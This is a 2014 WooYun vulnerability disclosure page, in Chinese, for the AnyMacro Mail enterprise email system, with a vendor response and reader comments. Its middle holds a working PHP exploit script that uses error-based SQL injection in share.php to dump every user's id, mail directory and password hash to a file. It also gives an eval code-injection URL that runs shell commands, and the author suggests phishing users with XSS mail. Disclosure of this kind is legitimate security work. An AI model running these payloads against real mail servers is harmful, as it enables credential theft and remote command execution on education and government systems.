当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(39) 关注此漏洞

缺陷编号: WooYun-2014-56478

漏洞标题: AnyMacro Mail安宁邮件系统之SQL注射+代码执行

相关厂商: 北京安宁创新网络科技有限公司

漏洞作者: YwiSax

提交时间: 2014-04-10 15:40

公开时间: 2014-07-09 15:40

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 20

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: php源码审核 sql注射 代码执行 命令执行

6人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-04-10: 细节已通知厂商并且等待厂商处理中
2014-04-10: 厂商已经确认,细节仅向厂商公开
2014-04-13: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2014-06-04: 细节向核心白帽子及相关领域专家公开
2014-06-14: 细节向普通白帽子公开
2014-06-24: 细节向实习白帽子公开
2014-07-09: 细节向公众公开

简要描述:

anymacro是国内较流行的一家企业级邮箱系统,客户主要为教育/政府机构。

今发现该系统有安全问题,攻击者可以获取数据库中的账户信息和执行恶意的PHP代码。

受影响的版本很难描述,因为安宁官网也没给出准确的版本区分信息。猜测应该是http://www.anymacro.com/product/asterism.htm这个版本。

目测受影响的站有300+,多数是edu和gov。

详细说明:

如果描述中说的,不是所有版本都影响。

http://**.**.**.**/ 这样的版本受影响。

http://**.**.**.**/ 这样的版本不受影响。



1.SQL注射

share.php未进行授权检查,可以任意访问,同时其中的F_email参数未进行有效过滤。



URL:

http://**.**.**.**/share.php?F_email=admin@**.**.**.**%27+and+(select+1+from(select+count(*),concat(0x7c,(select+(Select+concat(id,0x20,maildir,0x20,crypt)+from+user+limit+0,1)),0x7c,floor(rand(0)*2))x+from+information_schema.tables+group+by+x+limit+0,1)a)%23/wooyun



crypt字段保存用户密码,非明文,DES(Unix)/MD5(Unix)保存。



附上自己写的EXP:

code 区域
<?php

if ( ! isset($argv[1]))
{
exit("\nUsage: php {$argv[0]} http://**.**.**.** 0\n\n");
}

$target = $argv[1];

$start = $argv[2];

$cols = array('id', 'maildir', 'crypt');
$uri_template = "/share.php?F_email=1%27+and+(select+1+from(select+count(*),concat(0x7c,(select+(Select+{col}+from+user+limit+{num},1)),0x7c,floor(rand(0)*2))x+from+information_schema.tables+group+by+x+limit+0,1)a)%23/360_test";

$match_regex = "/Duplicate entry '\|(.*)\|1' for key/";

$filename = 'anymacro_'. md5($target) . '.txt';

$end = FALSE;
$i = $start;
while ( ! $end)
{
$uri = str_replace('{num}', $i, $uri_template);

$line = $i;
echo "[$i]";
foreach ($cols AS $col)
{
$url = $target . str_replace('{col}', $col, $uri);
$data = file_get_contents($url);
if (preg_match($match_regex, $data, $match))
{
//print_r($match);
echo " {$match[1]}";
$line .= " {$match[1]}";
}
else
{
$end = TRUE;
}
//echo $data;
//exit;
}

$line .= "\n";
echo "\n";

file_put_contents($filename, $line, FILE_APPEND);

$i++;
}

echo "\n\n-------------------------------------------\nEND~~~\n";





有了上面获取的账户信息,下面就简单了。



该系统的开发人员对login.php和reg.php防范得比较紧,最近爆出的几个漏洞都很快修复了。不过登陆后才能访问的页面就没怎么进行修复,有N处注射/命令执行/代码执行。。。



如全局地址处:



http://**.**.**.**/address.php?F_sid=a4cc600bcc82432513f5753736715e87&F_Daddr=1&F_Dgdisplay=1&node=test%27]);echo%20%27%3Cpre%3E%27;echo%20`ls%20-l`;exit;%23



其中node参数未进行有效过滤,直接带入了eval中执行,导致可以执行任意PHP代码甚至系统命令。



还有很多处可利用,不过都需要登陆后才能利用。



最后,其实绕过这个登陆来getshell或者执行命令也是可以的,不过需要点时间。。。这个系统对XSS也没有有效过滤,也就是说,可以收集下目标的邮箱,然后发xss邮件给这些人,等xss触发。。。

漏洞证明:

anymarco.png

修复方案:

1.做好授权验证

2.更加严格过滤用户提交的数据(GET/POST/Cookie等等)

3.如果可以的话,不用使用PHP的全局变量。如果早期的dz那样处理可能会比现在的更加好

4.不是代码加密了,就可以不做代码审查,尤其用的是开源的加密组件。开源给开发带来便利,也给攻击者带来便利。

版权声明:转载请注明来源 YwiSax@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:7

确认时间:2014-04-10 16:19

厂商回复:

此漏洞为我公司G6之前版本,现在用户正在逐步升级到我公司G7版本。
关于此版本漏洞我们会提供相应的升级

最新状态:

2014-05-06:现在存在此漏洞的用户基本升级完成


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2014-04-10 06:29 | 信通联盟支付(乌云厂商)
    0

    我们就用的这家~~~~~~~~

  2. 2014-04-10 08:36 | cncert国家互联网应急中心(乌云厂商)
    0

    早上起来mark一下,有这个漏洞北京的天气真好。

  3. 2014-04-10 08:41 | ′ 雨。 认证白帽子 ( 普通白帽子 | Rank:1332 漏洞数:198 | Only Code Never Lie To Me.)
    0

    好调皮的厂商们,

  4. 2014-04-10 10:00 | wefgod ( 核心白帽子 | Rank:1825 漏洞数:183 | 力不从心)
    0

    cert……

  5. 2014-04-10 10:39 | 疯狗 认证白帽子 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞,心中自然无码。)
    0

    乌云厂商卖萌

  6. 2014-04-10 11:52 | xsser 认证白帽子 ( 普通白帽子 | Rank:297 漏洞数:22 | 当我又回首一切,这个世界会好吗?)
    0

    @信通联盟支付 卖了个萌

  7. 2014-04-10 15:26 | 草榴社区 ( 普通白帽子 | Rank:109 漏洞数:26 | Rank:9999 漏洞数:1024 | 未满18周岁,不准...)
    0

    提交厂商名字错了.参考我以前提交的wooyun-2013-044001.人家今天上午还修改状态呢. @xsser @疯狗

  8. 2014-04-10 15:31 | xsser 认证白帽子 ( 普通白帽子 | Rank:297 漏洞数:22 | 当我又回首一切,这个世界会好吗?)
    0

    @草榴社区 所噶

  9. 2014-04-10 15:44 | Neeke ( 普通白帽子 | Rank:110 漏洞数:26 | 额滴歌神呀!)
    0

    7楼ID不错

  10. 2014-04-10 16:46 | 疯狗 认证白帽子 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞,心中自然无码。)
    0

    @草榴社区 标准了么

  11. 2014-04-10 17:40 | ( 普通白帽子 | Rank:1218 漏洞数:107 | 传闻中魇是一个惊世奇男子, 但是除了他华...)
    0

    破天荒啊? cncert竟然当天就确认了

  12. 2014-04-10 17:53 | cncert国家互联网应急中心(乌云厂商)
    0

    @魇 从来就是当天测,漏洞不过夜。5天后确认,为的是给相关单位留出更长的处置时间。

  13. 2014-04-10 17:55 | ( 普通白帽子 | Rank:1218 漏洞数:107 | 传闻中魇是一个惊世奇男子, 但是除了他华...)
    0

    @cncert国家互联网应急中心 原来如此 解惑了

  14. 2014-04-11 00:04 | by小星星 ( 路人 | Rank:4 漏洞数:4 | 我会唱小星星、)
    0

    这个漏洞通杀了? 那不是又开始危害多少个人信息了吗?

  15. 2014-04-11 05:28 | 信通联盟支付(乌云厂商)
    0

    @xsser 咔咔咔

  16. 2014-04-14 23:08 | Ricter ( 实习白帽子 | Rank:81 漏洞数:18 | 渣渣一个)
    0

    洞主请联系我:i@moeloli.me (可以直接加QQ的这个..) 有些事情>_>

登录后才能发表评论,请先 登录